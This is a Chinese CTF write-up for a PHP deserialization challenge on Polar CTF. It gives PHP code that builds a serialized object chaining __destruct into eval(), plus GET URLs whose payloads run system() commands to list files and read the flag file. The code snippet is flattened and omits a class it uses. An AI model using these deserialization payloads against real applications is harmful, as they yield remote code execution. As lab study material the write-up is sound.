当前位置: 首页 > news >正文

Polar Web【中等】反序列化

Polar Web【中等】反序列化

Contents

  • Polar Web【中等】反序列化
    • 思路&探索
    • EXP
      • PHP生成Payload
      • GET传递参数
    • 运行&总结

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval()
    • 能够触发 close() 调用的方式 —— 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

index

EXP

PHP生成Payload

<?phpclass process{public $pid;function close(){eval($this->pid);}}$a = new example();$a->handle = new process();// 	$a->handle->pid = "system('ls');";// 	$a->handle->pid = "system('find / | grep flag');";$a->handle->pid = "system('cat /var/www/html/flag.php');";echo serialize($a);
?>

ls
find
pl

GET传递参数

http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

run

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点






敬,不完美的明天
http://www.lryc.cn/news/366834.html

相关文章:

  • 测试工具链
  • 【求助】ansible synchronize 问题
  • sql server 把表的所有的null改为0,不要限制某列
  • 【C#】WinForm关闭新(二级)界面使主程序关闭
  • 光伏电站绘制软件的基本方法
  • 【Python】selenium使用find_element时解决【NoSuchElementException】问题的方法
  • oracle表锁
  • 父组件调用子组件方法(组合式 API版)
  • 【动手学深度学习】使用块的网络(VGG)的研究详情
  • JFinal学习07 控制器——接收数据之getBean()和getModel()
  • 二百三十九、Hive——Hive函数全篇
  • 视频去水印电脑版,视频去水印软件
  • 北邮21硕后端开发笔记
  • 【Linux】系统优化:一键切换软件源与安装Docker
  • 【集装箱调度】基于粒子群算法实现考虑重量限制和时间约束的集装箱码头满载AGV自动化调度附matlab代码
  • 使用 ESP32 和 PlatformIO (arduino框架)实现 Over-the-Air(OTA)固件更新
  • 学习笔记——路由网络基础——汇总静态路由
  • 这10个python库,下载都超过5亿
  • Vue3【十一】08使用toRefs和toRef
  • 离散数学---树
  • 【栈】1106. 解析布尔表达式
  • u盘内容无故消失了是什么原因?u盘部分内容无故消失了怎么恢复
  • glm-4v-9b 部署
  • Ansible——unarchive模块
  • Ansible——get_url模块
  • macbook本地部署 pyhive环境连接 hive用例
  • 物理安全防护如何创新强化信息安全体系?
  • 【JAVASE】日期与时间类(上)
  • 如果需要精确的答案,请避免使用float和double
  • 大模型,也在卷价格